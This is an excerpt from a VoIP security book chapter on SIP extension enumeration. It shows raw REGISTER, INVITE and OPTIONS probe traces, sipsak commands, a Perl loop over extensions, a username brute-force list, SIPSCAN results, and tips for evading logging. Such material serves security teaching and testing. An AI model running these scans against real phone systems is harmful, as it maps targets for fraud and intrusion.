SIP UserExtension Enumeration | Hacking Exposed VoIP: Voice Over IP Security Secrets & Solutions

SIP User /Extension Enumeration

In order to perform some of the attacks we'll be describing in later chapters, it's necessary for a hacker to know some valid usernames or extensions of SIP phones, registration, and/or proxy servers (see the section "SIP 101," at the beginning of the chapter). Short of calling every possible extension from 1100000 with a traditional wardialer, or even by hand, there are much more effective ways to find this information.

Let's assume the hacker already has a working knowledge of the target company's SIP extension and/or username format based on our Google hacking exercises in Chapter 1. Many organizations might typically start assigning extensions at 100 or 200.

Even without this information, we can still make some pretty good guesses to begin our probing. The following enumeration methods rely on studying the error messages returned with these three SIP methods: REGISTER, OPTIONS, and INVITE. Not all servers and user agents will support all three methods; however, there's a decent chance one or two of them would be enough for our purposes.

For most of the SIP enumeration techniques we cover in the following sections, the SIP proxy or registrar (in other words the location server) is our main target because those are typically the easiest places to glean user registration and presence. The last section, however, also shows that by knowing a SIP phone's IP address, it is possible to interrogate it directly to find out its extension.

Attack REGISTER Username Enumeration

Popularity:	3
Simplicity:	4
Impact:	4
Risk Rating:	4

A typical SIP REGISTER call flow from a phone to a registration server or proxy server looks like this (see the earlier section, "SIP 101"):

Let's look at an actual example of this normal call flow in action with a valid REGISTER request to our SIP EXpress Router (192.168.1.104) as our Windows XTEN softphone is turned on:

 Sent to 192.168.1.104: REGISTER sip:192.168.1.104 SIP/2.0 Via: SIP/2.0/UDP 192.168.1.120:5060;rport;branch=z9hG4bK9AE42E04481647949E19 C9C281BD7CDC From: 506 <sip:506@192.168.1.104>;tag=120975822 To: 506 <sip:506@192.168.1.104> Contact: "506" <sip:506@192.168.1.120:5060> Call-ID: 9F7F6FB9AFFA47278BE3CB571B3744D9@192.168.1.104 CSeq: 54512 REGISTER Expires: 1800 Max-Forwards: 70 User-Agent: X-Lite release 1105x Content-Length: 0 Received from 192.168.1.104: SIP/2.0 401 Unauthorized Via: SIP/2.0/UDP 192.168.1.120:5060;rport=5060;branch=z9hG4bK9AE42E044816479 49E19C9C281BD7CDC From: 506 <sip:506@192.168.1.104>;tag=120975822 To: 506 <sip:506@192.168.1.104>;tag=b27e1a1d33761e85846fc98f5f3a7e58.bdc9 Call-ID: 9F7F6FB9AFFA47278BE3CB571B3744D9@192.168.1.104 CSeq: 54512 REGISTER WWW-Authenticate: Digest realm="domain2", nonce="440bcbe24670d5d0448fd78ec4b 672a3c29de346" Server: Sip EXpress router (0.9.6 (i386/linux)) Content-Length: 0 Warning: 392 192.168.1.104:5060 "Noisy feedback tells: pid=29785  req_src_ip=192.168.1.120 req_src_port=5060 in_uri=sip:192.168.1.104 out_uri=sip:192.168.1.104 via_cnt==1"

As you can see, we received a 401 SIP response as we expected. However, what happens if an invalid username is sent instead? Well, it depends on each specific SIP deployment's configuration. This time, with our own target deployment, let's try to send an invalid username in a REGISTER request to our SIP EXpress Router (192.168.1.104). thisisthecanary , the nonsensical username we chose, is almost surely not a valid extension or username in any organization.

 Sent to 192.168.1.104 REGISTER sip:thisisthecanary@192.168.1.104 SIP/2.0 Via: SIP/2.0/UDP 192.168.1.120:2174;branch=el7mCh5QhC6WNg From: test <sip:thisisthecanary@192.168.1.104>;tag=vkffYiKFjn To: test <sip:thisisthecanary@192.168.1.104> Call-ID: AXy1SAVzvwd9@192.168.1.120 CSeq: 1 REGISTER Contact: <sip:test@192.168.1.120:2174> Max_forwards: 70 User Agent: SIPSCAN 1.0 Content-Type: application/sdp Subject: SIPSCAN Probe Expires: 7200 Content-Length: 0 Received from 192.168.1.104: SIP/2.0 401 Unauthorized Via: SIP/2.0/UDP 192.168.1.120:2174;branch=el7mCh5QhC6WNg From: test <sip:thisisthecanary@192.168.1.104>;tag=vkffYiKFjn To: test <sip:thisisthecanary@192.168.1.104>;tag=b27e1a1d33761e85846fc98f5f3 a7e58.b11e Call-ID: AXy1SAVzvwd9@192.168.1.120 CSeq: 1 REGISTER WWW-Authenticate: Digest realm="domain2", nonce="440bc944e0e0dc62d7185d035576505481d9dd34" Server: Sip EXpress router (0.9.6 (i386/linux)) Content-Length: 0 Warning: 392 192.168.1.104:5060 "Noisy feedback tells: pid=29782 req_src_ip=192.168.1.120 req_src_port=2174 in_uri=sip:thisisthecanary@192.168.1.104 out_uri=sip:thisisthecanary@192.168.1.104 via_cnt==1"

As you can see, we received exactly the same response as we would with a legitimate username, a 401 SIP response. However, let's see what happens if we send the exact same requests to our Asterisk server at 192.168.1.103. First, here's an actual SIP trace of our Snom 320 phone turning on and registering:

 Sent to 192.168.1.103 REGISTER sip:192.168.1.103 SIP/2.0 Via: SIP/2.0/UDP 192.168.1.21:2051;branch=z9hG4bK-v7brim4vvk49;rport From: "Snom 320" <sip:201@192.168.1.103>;tag=e35li4iydd To: "Snom 320" <sip:201@192.168.1.103> Call-ID: 3c2670092710-g9u6jfnehewi@snom320 CSeq: 1 REGISTER Max-Forwards: 70 Contact: <sip:201@192.168.1.21:2051;line=ylcbbss9>;q=1.0;+sip.instance= "<urn:uuid:bf9b2fe3-b95c-4cfd-96ad-5b52bf1d0c2a>" ;audio;mobility="fixed";duplex="full";description="snom320";actor= "principal";events="dialog";methods= "INVITE,ACK,CANCEL,BYE,REFER,OPTIONS,NOTIFY,SUBSCRIBE,PRACK,MESSAGE,INFO" User-Agent: snom320/4.1 Supported: gruu Allow-Events: dialog X-Real-IP: 192.168.1.21 WWW-Contact: <http://192.168.1.21:80> WWW-Contact: <https://192.168.1.21:443> Expires: 3600 Content-Length: 0 Received from: 192.168.1.103 SIP/2.0 401 Unauthorized Via: SIP/2.0/UDP 192.168.1.21:2051;branch=z9hG4bK-v7brim4vvk49 From: "Snom 320" <sip:201@192.168.1.103>;tag=e35li4iydd To: "Snom 320" <sip:201@192.168.1.103>;tag=as356abebc Call-ID: 3c2670092bf2-g9u6jfnehewi@snom320 CSeq: 1 REGISTER User-Agent: Asterisk PBX Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER Contact: <sip:201@192.168.1.103> WWW-Authenticate: Digest realm="asterisk", nonce="38e8e429" Content-Length: 0

Okay, a 401 response is what we expected. Now let's send the same invalid username thisisthecanary to see what the Asterisk server responds with

 REGISTER sip:thisisthecanary@192.168.1.103 SIP/2.0 Via: SIP/2.0/UDP 192.168.1.120:2219;branch=el7mCh5QhC6WNg From: test <sip:thisisthecanary@192.168.1.103>;tag=vkffYiKFjn To: test <sip:thisisthecanary@192.168.1.103> Call-ID: AXy1SAVzvwd9@192.168.1.120 CSeq: 1 REGISTER Contact: <sip:test@192.168.1.120:2219> Max_forwards: 70 User Agent: SIPSCAN 1.0 Content-Type: application/sdp Subject: SIPSCAN Probe Expires: 7200 Content-Length: 0 Received from 192.168.1.103: SIP/2.0 403 Forbidden Via: SIP/2.0/UDP 192.168.1.120:2219;branch=el7mCh5QhC6WNg From: test <sip:thisisthecanary@192.168.1.103>;tag=vkffYiKFjn To: test <sip:thisisthecanary@192.168.1.103>;tag=as44107711 Call-ID: AXy1SAVzvwd9@192.168.1.120 CSeq: 1 REGISTER User-Agent: Asterisk PBX Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER Contact: <sip:thisisthecanary@192.168.1.103> Content-Length: 0

Aha! Notice that with the invalid username, we received a 403 SIP response (Forbidden) instead of the 401 response we would get with a REGISTER request using a valid username.

By using this differentiated response to our advantage, we have the means to enumerate all valid extensions on our Asterisk server (192.168.1.103), and by sending REGISTER requests to as many extensions or usernames as possible, we should be able to eliminate invalid extensions with those we try that receive a nonstandard SIP response (for example, 403 Forbidden) in return. Perhaps we can find another enumeration technique to use on the SIP EXpress Router since both the valid and invalid username attempts result in the same response.

Attack INVITE Username Enumeration

Popularity:	3
Simplicity:	4
Impact:	4
Risk Rating:	4

INVITE scanning is the noisiest and least stealthy method for SIP username enumeration because it involves actually ringing the target's phones. Even after normal business hours, missed calls are usually logged on the phones and on the target SIP proxy, so there's a fair amount of traceback evidence left behind. However, if you don't mind the audit trail, it can often be another useful directory discovery method. The background of a typical call initiation is covered in the "SIP 101" section at the beginning of the chapter.

First, let's see what happens when we try to call a valid user who has already registered with our SIP EXpress Router server (192.168.1.104). We used SiVuS to generate these messages:

  Sent to 192.168.1.104:  INVITE sip:506@192.168.1.104 SIP/2.0 Via: SIP/2.0/UDP 192.168.1.120:2590;rport;branch=z9hG4bK44FE55FBBCC449A9A4BE B71869664AEC From: test <sip:test@192.168.1.120>;tag=325602560 To: <sip:506@192.168.1.104> Contact: <sip:test@192.168.1.120:2590> Call-ID: 1D49F1E5-25D8-4B90-B16D-0DB57899DDB2@192.168.1.120 CSeq: 329171 INVITE Max-Forwards: 70 Content-Type: application/sdp User-Agent: X-Lite release 1105x Content-Length: 305 v=0 o=test 1339154 8901572 IN IP4 192.168.1.120 s=X-Lite c=IN IP4 192.168.1.120 t=0 0 m=audio 8000 RTP/AVP 0 8 3 98 97 101 a=rtpmap:0 pcmu/8000 a=rtpmap:8 pcma/8000 a=rtpmap:3 gsm/8000 a=rtpmap:98 iLBC/8000 a=rtpmap:97 speex/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-15 a=sendrecv  Received from 192.168.1.104:  SIP/2.0 100 trying -- your call is important to us Via: SIP/2.0/UDP 192.168.1.120:2590;rport=2590;branch=z9hG4bK44FE55FBBCC449A9A4BEB71869664AEC From: test <sip:test@192.168.1.120>;tag=325602560 To: <sip:506@192.168.1.104> Call-ID: 1D49F1E5-25D8-4B90-B16D-0DB57899DDB2@192.168.1.120 CSeq: 329171 INVITE Server: Sip EXpress router (0.9.6 (i386/linux)) Content-Length: 0 Warning: 392 192.168.1.104:5060 "Noisy feedback tells: pid=29788 req_src_ip=192.168.1.120 req_src_port=2590 in_uri=sip:506@192.168.1.104 out_uri=sip:506@192.168.1.56:5060 via_cnt==1" Received from 192.168.1.104: SIP/2.0 180 Ringing Via: SIP/2.0/UDP 192.168.1.120:2590;rport=2590;branch=z9hG4bK44FE55FBBCC449A9A4BEB71869664AEC From: test <sip:test@192.168.1.120>;tag=325602560 To: <sip:506@192.168.1.104>;tag=3557948964 Contact: <sip:506@192.168.1.56:5060> Record-Route: <sip:192.168.1.104;ftag=325602560;lr=on> Call-ID: 1D49F1E5-25D8-4B90-B16D-0DB57899DDB2@192.168.1.120 CSeq: 329171 INVITE Server: X-Lite release 1105x Content-Length: 0

Because we never sent a CANCEL request to tear down the call, the target phone is left ringing. In later chapters, we'll look at certain denial of service attacks, such as INVITE floods , whereby all free lines on the target's phone are exhausted with bogus incoming calls. Sending a follow-up CANCEL request ensures that not every single phone in the office is ringing when people start coming into work in the morning, giving away that someone tried to SIP-scan the network. Now let's see what happens on our SER server when we try to call our nonexistent user, thisisthecanary :

  Sent to 192.168.1.104:  INVITE sip:thisisthecanary@192.168.1.104 SIP/2.0 Via: SIP/2.0/UDP 192.168.1.120:2549;rport;branch=z9hG4bK44FE55FBBCC449A9A4BEB71869664AEC From: test <sip:test@192.168.1.120>;tag=325602560 To: <sip:thisisthecanary@192.168.1.104> Contact: <sip:test@192.168.1.120:2549> Call-ID: 1D49F1E5-25D8-4B90-B16D-0DB57899DDB2@192.168.1.120 CSeq: 946396 INVITE Max-Forwards: 70 Content-Type: application/sdp User-Agent: X-Lite release 1105x Content-Length: 305 v=0 o=test 6585767 8309317 IN IP4 192.168.1.120 s=X-Lite c=IN IP4 192.168.1.120 t=0 0 m=audio 8000 RTP/AVP 0 8 3 98 97 101 a=rtpmap:0 pcmu/8000 a=rtpmap:8 pcma/8000 a=rtpmap:3 gsm/8000 a=rtpmap:98 iLBC/8000 a=rtpmap:97 speex/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-15 a=sendrecv  Received from 192.168.1.104:  SIP/2.0 404 Not Found Via: SIP/2.0/UDP 192.168.1.120:2549;rport=2549;branch=z9hG4bK44FE55FBBCC449A9A4BEB71869664AEC From: test <sip:test@192.168.1.120>;tag=325602560 To: <sip:thisisthecanary@192.168.1.104>;tag=b27e1a1d33761e85846fc98f5f3a7e58 .611c Call-ID: 1D49F1E5-25D8-4B90-B16D-0DB57899DDB2@192.168.1.120 CSeq: 946396 INVITE Server: Sip EXpress router (0.9.6 (i386/linux)) Content-Length: 0 Warning: 392 192.168.1.104:5060 "Noisy feedback tells: pid=29775 req_src_ip=192.168.1.120 req_src_port=2549 in_uri=sip:thisisthecanary@192.168.1.104 out_uri=sip:thisisthecanary@192.168.1.104 via_cnt==1"

Notice that we get a 404 Not Found response, thereby granting us a useful method for enumerating valid users on the SIP EXpress Router service at 192.168.1.104. Now let's see what happens with our Asterisk server at 192.168.1.103 when we try both a valid and invalid INVITE request:

  Sent to 192.168.1.103:  INVITE sip:205@192.168.1.103 SIP/2.0 Via: SIP/2.0/UDP 192.168.1.120:2617;rport;branch=z9hG4bK44FE55FBBCC449A9A4BEB71869664AEC From: test <sip:test@192.168.1.120>;tag=325602560 To: <sip:205@192.168.1.103> Contact: <sip:test@192.168.1.120:2617> Call-ID: 1D49F1E5-25D8-4B90-B16D-0DB57899DDB2@192.168.1.120 CSeq: 111530 INVITE Max-Forwards: 70 Content-Type: application/sdp User-Agent: X-Lite release 1105x Content-Length: 305 v=0 o=test 1669075 4839162 IN IP4 192.168.1.120 s=X-Lite c=IN IP4 192.168.1.120 t=0 0 m=audio 8000 RTP/AVP 0 8 3 98 97 101 a=rtpmap:0 pcmu/8000 a=rtpmap:8 pcma/8000 a=rtpmap:3 gsm/8000 a=rtpmap:98 iLBC/8000 a=rtpmap:97 speex/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-15 a=sendrecv  Received from 192.168.1.103:  Via: SIP/2.0/UDP 192.168.1.120:2617;branch=z9hG4bK44FE55FBBCC449A9A4BEB71869664AEC From: test <sip:test@192.168.1.120>;tag=325602560 To: <sip:205@192.168.1.103> Call-ID: 1D49F1E5-25D8-4B90-B16D-0DB57899DDB2@192.168.1.120 CSeq: 111530 INVITE User-Agent: Asterisk PBX Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER Contact: <sip:205@192.168.1.103> Content-Length: 0  Received from 192.168.1.103:  SIP/2.0 503 Service Unavailable Via: SIP/2.0/UDP 192.168.1.120:2617;branch=z9hG4bK44FE55FBBCC449A9A4BEB71869 664AEC From: test <sip:test@192.168.1.120>;tag=325602560 To: <sip:205@192.168.1.103>;tag=as51cce52a Call-ID: 1D49F1E5-25D8-4B90-B16D-0DB57899DDB2@192.168.1.120 CSeq: 111530 INVITE User-Agent: Asterisk PBX Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER Contact: <sip:205@192.168.1.103> Content-Length: 0

Now we try to send an INVITE to our invalid user, thisisthecanary, to see if the responses differ :

  Sent to 192.168.1.103:  INVITE sip:thisisthecanary@192.168.1.103 SIP/2.0 Via: SIP/2.0/UDP 192.168.1.120:2594;rport;branch=z9hG4bK44FE55FBBCC449A9A4BEB71869664AEC From: test <sip:test@192.168.1.120>;tag=325602560 To: <sip:thisisthecanary@192.168.1.103> Contact: <sip:test@192.168.1.120:2594> Call-ID: 1D49F1E5-25D8-4B90-B16D-0DB57899DDB2@192.168.1.120 CSeq: 853716 INVITE Max-Forwards: 70 Content-Type: application/sdp User-Agent: X-Lite release 1105x Content-Length: 305 v=0 o=test 7098201 3974048 IN IP4 192.168.1.120 s=X-Lite c=IN IP4 192.168.1.120 t=0 0 m=audio 8000 RTP/AVP 0 8 3 98 97 101 a=rtpmap:0 pcmu/8000 a=rtpmap:8 pcma/8000 a=rtpmap:3 gsm/8000 a=rtpmap:98 iLBC/8000 a=rtpmap:97 speex/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-15 a=sendrecv  Received from 192.168.1.103:  SIP/2.0 100 Trying Via: SIP/2.0/UDP 192.168.1.120:2594;branch=z9hG4bK44FE55FBBCC449A9A4BEB71869 664AEC From: test <sip:test@192.168.1.120>;tag=325602560 To: <sip:thisisthecanary@192.168.1.103> Call-ID: 1D49F1E5-25D8-4B90-B16D-0DB57899DDB2@192.168.1.120 CSeq: 853716 INVITE User-Agent: Asterisk PBX Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER Contact: <sip:thisisthecanary@192.168.1.103> Content-Length: 0  Received from 192.168.1.103:  SIP/2.0 503 Service Unavailable Via: SIP/2.0/UDP 192.168.1.120:2594;branch=z9hG4bK44FE55FBBCC449A9A4BEB71869 664AEC From: test <sip:test@192.168.1.120>;tag=325602560 To: <sip:thisisthecanary@192.168.1.103>;tag=as7d316dda Call-ID: 1D49F1E5-25D8-4B90-B16D-0DB57899DDB2@192.168.1.120 CSeq: 853716 INVITE User-Agent: Asterisk PBX Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER Contact: <sip:thisisthecanary@192.168.1.103> Content-Length: 0

Unfortunately, both SIP response codes were the same, which means, in this case, we can't use INVITE scanning for our Asterisk deployment to differentiate between invalid and valid extensions. However, at least this technique worked for the SIP EXpress Router deployment!

Of course, you can also send INVITE requests directly to phones if you already know their IP addresses. This way you can bypass the proxy altogether if you're concerned about logging.

Attack OPTIONS Username Enumeration

Popularity:	4
Simplicity:	5
Impact:	4
Risk Rating:	4

The OPTIONS method is the most stealthy and effective method for enumerating SIP users. The OPTIONS method is supported (as commanded by RFC 3261) by all SIP services and user agents and is used for advertising supported message capabilities and, in some cases, legitimate users. The simple flow of an OPTIONS request and response looks like this:

So let's take the same methodical approach we've taken in the previous two sections and send two different types of OPTIONS requests to our SER server (192.168.1.104). First, we try the valid username 506:

 Sent to 192.168.1.104: OPTIONS sip:506@192.168.1.104 SIP/2.0 Via: SIP/2.0/UDP 192.168.1.120:2700;branch=el7mCh5QhC6WNg From: test <sip:test@192.168.1.120>;tag=vkffYiKFjn To: test <sip:506@192.168.1.104> Call-ID: AXy1SAVzvwd9@192.168.1.120 CSeq: 42 OPTIONS Contact: <sip:test@192.168.1.120:2700> Max_forwards: 70 User Agent: SIPSCAN 1.0 Subject: SIPSCAN 1.0 Probe Content-Length: 0 Received from 192.168.1.104: SIP/2.0 200 Ok Via: SIP/2.0/UDP 192.168.1.120:2700;branch=el7mCh5QhC6WNg From: test <sip:test@192.168.1.120>;tag=vkffYiKFjn To: test <sip:506@192.168.1.104>;tag=1280386989 Contact: <sip:506@192.168.1.56:5060> Call-ID: AXy1SAVzvwd9@192.168.1.120 Allow: INVITE,ACK,BYE,CANCEL,OPTIONS,NOTIFY CSeq: 42 OPTIONS Server: X-Lite release 1105x Content-Length: 0

Notice that not only did we determine that this is a valid user, but in looking at the Server field, we can also deduce what type of phone is associated with that extensionin this case, an XTEN X-Lite softphone. This information might come in handy later. Now let's see what happens when we send an OPTIONS request with the invalid username thisisthecanary :

 Sent to 192.168.1.104: OPTIONS sip:thisisthecanary@192.168.1.104 SIP/2.0 Via: SIP/2.0/UDP 192.168.1.120:2659;branch=el7mCh5QhC6WNg From: test <sip:test@192.168.1.120>;tag=vkffYiKFjn To: test <sip:thisisthecanary@192.168.1.104> Call-ID: AXy1SAVzvwd9@192.168.1.120 CSeq: 1 OPTIONS Contact: <sip:test@192.168.1.120:2659> Max_forwards: 70 User Agent: SIPSCAN 1.0 Subject: SIPSCAN 1.0 Probe Content-Length: 0 Received from 192.168.1.104: SIP/2.0 404 Not Found Via: SIP/2.0/UDP 192.168.1.120:2659;branch=el7mCh5QhC6WNg From: test <sip:test@192.168.1.120>;tag=vkffYiKFjn To: test <sip:thisisthecanary@192.168.1.104>;tag=b27e1a1d33761e85846fc98f5f3 a7e58.6e4b Call-ID: AXy1SAVzvwd9@192.168.1.120 CSeq: 1 OPTIONS Server: Sip EXpress router (0.9.6 (i386/linux)) Content-Length: 0 Warning: 392 192.168.1.104:5060 "Noisy feedback tells: pid=29782 req_src_ip=192.168.1.120 req_src_port=2659 in_uri=sip:thisisthecanary@192.168.1.104 out_uri=sip:thisisthecanary@192.168.1.104 via_cnt==1"

As you can see, the OPTIONS response (404 Not Found) conveniently lets us know that this user doesn't exist, or is not currently logged in. Now let's try the same technique against our Asterisk server (192.168.1.103). We'll try user 201 in our valid probe:

 Sent to 192.168.1.103: OPTIONS sip:201@192.168.1.103 SIP/2.0 Via: SIP/2.0/UDP 192.168.1.120:2723;branch=el7mCh5QhC6WNg From: test <sip:test@192.168.1.120>;tag=vkffYiKFjn To: test <sip:201@192.168.1.103> Call-ID: AXy1SAVzvwd9@192.168.1.120 CSeq: 16 OPTIONS Contact: <sip:test@192.168.1.120:2723> Max_forwards: 70 User Agent: SIPSCAN 1.0 Subject: SIPSCAN 1.0 Probe Content-Length: 0 Received from 192.168.1.103: SIP/2.0 200 OK Via: SIP/2.0/UDP 192.168.1.120:2723;branch=el7mCh5QhC6WNg From: test <sip:test@192.168.1.120>;tag=vkffYiKFjn To: test <sip:201@192.168.1.103>;tag=as3ad8a754 Call-ID: AXy1SAVzvwd9@192.168.1.120 CSeq: 16 OPTIONS User-Agent: Asterisk PBX Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER Contact: <sip:192.168.1.103> Accept: application/sdp Content-Length: 0

So far so good. Let's now hope that we get a different response when we try an invalid user. Again, we use thisisthecanary to test the standard error response from Asterisk:

 Sent to 192.168.1.103: OPTIONS sip:thisisthecanary@192.168.1.103 SIP/2.0 Via: SIP/2.0/UDP 192.168.1.120:2708;branch=el7mCh5QhC6WNg From: test <sip:test@192.168.1.120>;tag=vkffYiKFjn To: test <sip:thisisthecanary@192.168.1.103> Call-ID: AXy1SAVzvwd9@192.168.1.120 CSeq: 1 OPTIONS Contact: <sip:test@192.168.1.120:2708> Max_forwards: 70 User Agent: SIPSCAN 1.0 Subject: SIPSCAN 1.0 Probe Content-Length: 0 Received from 192.168.1.103: SIP/2.0 200 OK Via: SIP/2.0/UDP 192.168.1.120:2708;branch=el7mCh5QhC6WNg From: test <sip:test@192.168.1.120>;tag=vkffYiKFjn To: test <sip:thisisthecanary@192.168.1.103>;tag=as1faacd0f Call-ID: AXy1SAVzvwd9@192.168.1.120 CSeq: 1 OPTIONS User-Agent: Asterisk PBX Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER Contact: <sip:192.168.1.103> Accept: application/sdp Content-Length: 0

Unfortunately, we get the exact same response with an invalid username as well (200 OK). It looks like we won't be able to use OPTIONS scanning for our Asterisk target. At least the REGISTER scanning detailed previously in "REGISTER Username Enumeration" worked for us!

Attack Automated OPTIONS Scanning with sipsak

Popularity:	4
Simplicity:	7
Impact:	4
Risk Rating:	5

Boy, would it be nice to find a tool to automate as many of the previously discussed scanning techniques as possible! For OPTIONS scanning, there's a command-line tool called sipsak that can help. sipsak (http://sipsak.org) is developed by the authors of SIP EXpress Router, and it is helpful in stress testing and diagnosing SIP service issues. While it was not designed specifically for SIP username enumeration, it can be easily tailored for such a task. Unfortunately, sipsak only supports OPTIONS requests by default, and sending other SIP methods requires some tweaking.

Let's reconstruct the OPTIONS scanning example against our SIP EXpress Router proxy server with sipsak. First, we try to probe the server with the valid extension 506:

 [root@attacker]# sipsak -vv -s sip:506@192.168.1.104 New message with Via-Line: OPTIONS sip:506@192.168.1.104 SIP/2.0 Via: SIP/2.0/UDP asterisk1.local:32874;rport From: sip:sipsak@asterisk1.local:32874;tag=702e3179 To: sip:506@192.168.1.104 Call-ID: 1882075513@asterisk1.local CSeq: 1 OPTIONS Contact: sip:sipsak@asterisk1.local:32874 Content-Length: 0 Max-Forwards: 70 User-Agent: sipsak 0.8.11 Accept: text/plain ** request ** OPTIONS sip:506@192.168.1.104 SIP/2.0 Via: SIP/2.0/UDP asterisk1.local:32874;rport From: sip:sipsak@asterisk1.local:32874;tag=702e3179 To: sip:506@192.168.1.104 Call-ID: 1882075513@asterisk1.local CSeq: 1 OPTIONS Contact: sip:sipsak@asterisk1.local:32874 Content-Length: 0 Max-Forwards: 70 User-Agent: sipsak 0.8.11 Accept: text/plain message received: SIP/2.0 200 Ok Via: SIP/2.0/UDP asterisk1.local:32874;received=192.168.1.103;rport=32874 From: sip:sipsak@asterisk1.local:32874;tag=702e3179 To: <sip:506@192.168.1.104>;tag=644497335 Contact: <sip:506@192.168.1.56:5060> Call-ID: 1882075513@asterisk1.local Allow: INVITE,ACK,BYE,CANCEL,OPTIONS,NOTIFY CSeq: 1 OPTIONS Server: X-Lite release 1105x Content-Length: 0 ** reply received after 5.479 ms **  SIP/2.0 200 Ok  final received

Now we try to probe the server using our invalid extension, thisisthecanary :

 [root@asterisk1 sipsak-0.9.6]# sipsak -vv -s sip:thisisthecana ry@192.168.1.104 New message with Via-Line: OPTIONS sip:thisisthecanary@192.168.1.104 SIP/2.0 Via: SIP/2.0/UDP asterisk1.local:32876;rport From: sip:sipsak@asterisk1.local:32876;tag=1aeccc21 To: sip:thisisthecanary@192.168.1.104 Call-ID: 451726369@asterisk1.local CSeq: 1 OPTIONS Contact: sip:sipsak@asterisk1.local:32876 Content-Length: 0 Max-Forwards: 70 User-Agent: sipsak 0.8.11 Accept: text/plain ** request ** OPTIONS sip:thisisthecanary@192.168.1.104 SIP/2.0 Via: SIP/2.0/UDP asterisk1.local:32876;rport From: sip:sipsak@asterisk1.local:32876;tag=1aeccc21 To: sip:thisisthecanary@192.168.1.104 Call-ID: 451726369@asterisk1.local CSeq: 1 OPTIONS Contact: sip:sipsak@asterisk1.local:32876 Content-Length: 0 Max-Forwards: 70 User-Agent: sipsak 0.8.11 Accept: text/plain message received: SIP/2.0 404 Not Found Via: SIP/2.0/UDP asterisk1.local:32876;rport=32876;received=192.168.1.103 From: sip:sipsak@asterisk1.local:32876;tag=1aeccc21 To: sip:thisisthecanary@192.168.1.104;tag=b27e1a1d33761e85846fc98f5f3a7e58.9 543 Call-ID: 451726369@asterisk1.local CSeq: 1 OPTIONS Server: Sip EXpress router (0.9.6 (i386/linux)) Content-Length: 0 Warning: 392 192.168.1.104:5060 "Noisy feedback tells: pid=29782 req_src_ip=192.168.1.103 req_src_port=32876 in_uri=sip:thisisacanary@192.168.1.104 out_uri=sip:thisisacanary@192.168.1.104 via_cnt==1" ** reply received after 0.562 ms **    SIP/2.0 404 Not Found    final received

If we wanted to, we could easily script sipsak to iterate through a list of usernames and then parse the output afterward to find the live extensions. For instance, here's a (very) simple example:

 #!/usr/local/bin/perl @usernames = (500,501,505,503,504,505,506,507,508,509,510,511,512,513,514,515); foreach $key (@usernames) {       system("sipsak -vv -s sip:$key\@192.168.1.104 >\> sipsak_output.txt") }

Attack Automated REGISTER, INVITE, and OPTIONS Scanning with SIPSCAN Against SIP Servers

Popularity:	4
Simplicity:	9
Impact:	4
Risk Rating:	5

Because sipsak required some heavy lifting to get it to scan with INVITE and REGISTER requests as well, we decided to write our own graphical SIP username/extension enumerator called SIPSCAN (available from http://www.hackingvoip.com/ and shown in Figure 3-6).

Figure 3-6: SIPSCAN using REGISTER requests against the Asterisk deployment at 192.168.1.103

SIPSCAN combines the aspects of all three of the previous scanning methods and only returns the live SIP extensions/users that it finds. By default, SIPSCAN comes with a list of usernames ( users.txt ) to brute force. You should, of course, tailor your own list to suit the needs of the target environment you are scanning. For this example, our users.txt file includes the following:

 thisisthecanary test echo admin dave 101 102 103 104 104 105 106 107 108 110 201 202 203 204 204 205 206 207 208 210 401 402 403 404 404 405 406 407 408 410 501 502 503 504 504 505 506 507 508 510

You'll notice our now infamous thisisthecanary username at the top of the list. You must keep this username as the first entry because SIPSCAN uses it to baseline an invalid SIP response for each of the scanning techniques selected. As we've seen previously, without a "known bad" username, we won't know whether we can accurately differentiate valid extensions from invalid ones. Let's try a REGISTER scanning attempt using SIPSCAN against our Asterisk server:

 SIPSCAN Results: Scan started Mon Mar 6 01:19:10 2006 Target SIP Server: 192.168.1.103:5060 UDP Domain: 192.168.1.103 1>\>Found a live extension/user at 201@192.168.1.103 with SIP response code(s):    REGISTER:401 2>\>Found a live extension/user at 202@192.168.1.103 with SIP response code(s):    REGISTER:401 3>\>Found a live extension/user at 203@192.168.1.103 with SIP response code(s):    REGISTER:401 4>\>Found a live extension/user at 204@192.168.1.103 with SIP response code(s):    REGISTER:401 5>\>Found a live extension/user at 204@192.168.1.103 with SIP response code(s):    REGISTER:401 6>\>Found a live extension/user at 205@192.168.1.103 with SIP response code(s):    REGISTER:401 7>\>Found a live extension/user at 207@192.168.1.103 with SIP response code(s):    REGISTER:401

As we could have predicted from the previous manual examples against our Asterisk server, it looks as if the RESISTER scan was successful in ferreting out the valid extensions. Let's see what happens when we try selecting just the OPTIONS scan:

 SIPSCAN Results: Scan started Mon Mar 6 01:28:16 2006 Target SIP Server: 192.168.1.103:5060 UDP Domain: 192.168.1.103

As expected, we got no results because all of the users we tried to enumerate returned a 200 OK SIP response, not really allowing us to differentiate between the valid ones and nonexistent ones. If we select more than one scanning technique (REGISTER and OPTION), SIPSCAN will combine the results from all methods and show you the merged output:

 SIPSCAN Results: Scan started Mon Mar 6 01:35:10 2006 Target SIP Server: 192.168.1.103:5060 UDP Domain: 192.168.1.103 1>\>Found a live extension/user at 201@192.168.1.103 with SIP response code(s): REGISTER:401 OPTIONS: 200 2>\>Found a live extension/user at 202@192.168.1.103 with SIP response code(s): REGISTER:401 OPTIONS: 200 3>\>Found a live extension/user at 203@192.168.1.103 with SIP response code(s): REGISTER:401 OPTIONS: 200 4>\>Found a live extension/user at 204@192.168.1.103 with SIP response code(s): REGISTER:401 OPTIONS: 200 5>\>Found a live extension/user at 204@192.168.1.103 with SIP response code(s): REGISTER:401 OPTIONS: 200 6>\>Found a live extension/user at 205@192.168.1.103 with SIP response code(s): REGISTER:401 OPTIONS: 200 7>\>Found a live extension/user at 207@192.168.1.103 with SIP response code(s): REGISTER:401 OPTIONS: 200

Obviously selecting all three scans provides the best possible details.

Attack Automated OPTIONS Scanning Using SIPSCAN Against SIP Phones

Popularity:	4
Simplicity:	5
Impact:	4
